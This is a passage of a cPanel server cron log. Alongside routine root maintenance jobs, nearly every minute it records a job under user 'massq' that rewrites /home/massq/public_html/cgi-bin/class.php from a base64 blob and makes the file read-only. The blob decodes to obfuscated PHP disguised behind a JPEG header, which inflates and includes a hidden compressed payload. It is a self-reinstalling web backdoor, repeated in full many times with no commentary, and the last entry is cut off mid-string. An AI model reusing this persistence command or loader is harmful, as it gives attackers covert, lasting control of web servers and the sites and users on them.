B6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:01:01 server CROND[19461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:01:01 server run-parts(/etc/cron.hourly)[19460]: starting 0anacron
Sep  9 05:01:01 server run-parts(/etc/cron.hourly)[19479]: finished 0anacron
Sep  9 05:02:01 server CROND[19850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:02:01 server CROND[19851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:02:01 server CROND[19852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:03:01 server CROND[20237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:03:01 server CROND[20238]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:03:01 server CROND[20240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:04:01 server CROND[20711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:04:01 server CROND[20718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:04:01 server CROND[20717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:05:01 server CROND[21097]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  9 05:05:01 server CROND[21100]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 05:05:01 server CROND[21101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:05:01 server CROND[21107]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 05:05:01 server CROND[21113]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:05:01 server CROND[21115]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:05:01 server CROND[21114]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 05:05:01 server CROND[21117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:05:01 server CROND[21118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:06:01 server CROND[21977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:06:01 server CROND[21978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:06:01 server CROND[21979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:07:01 server CROND[22359]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:07:01 server CROND[22358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:07:01 server CROND[22360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:08:01 server CROND[22748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:08:01 server CROND[22749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:08:01 server CROND[22750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:09:01 server CROND[23394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:09:01 server CROND[23396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:09:01 server CROND[23395]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 05:09:01 server CROND[23401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:10:01 server CROND[23793]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 05:10:01 server CROND[23795]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 05:10:01 server CROND[23800]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:10:01 server CROND[23804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:10:01 server CROND[23806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:10:01 server CROND[23810]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:10:01 server CROND[23811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:10:01 server CROND[23812]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 05:11:01 server CROND[24649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:11:01 server CROND[24650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:11:01 server CROND[24651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:12:01 server CROND[25027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:12:01 server CROND[25028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:12:01 server CROND[25030]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 05:12:01 server CROND[25036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:13:01 server CROND[25413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:13:01 server CROND[25415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:13:01 server CROND[25416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpG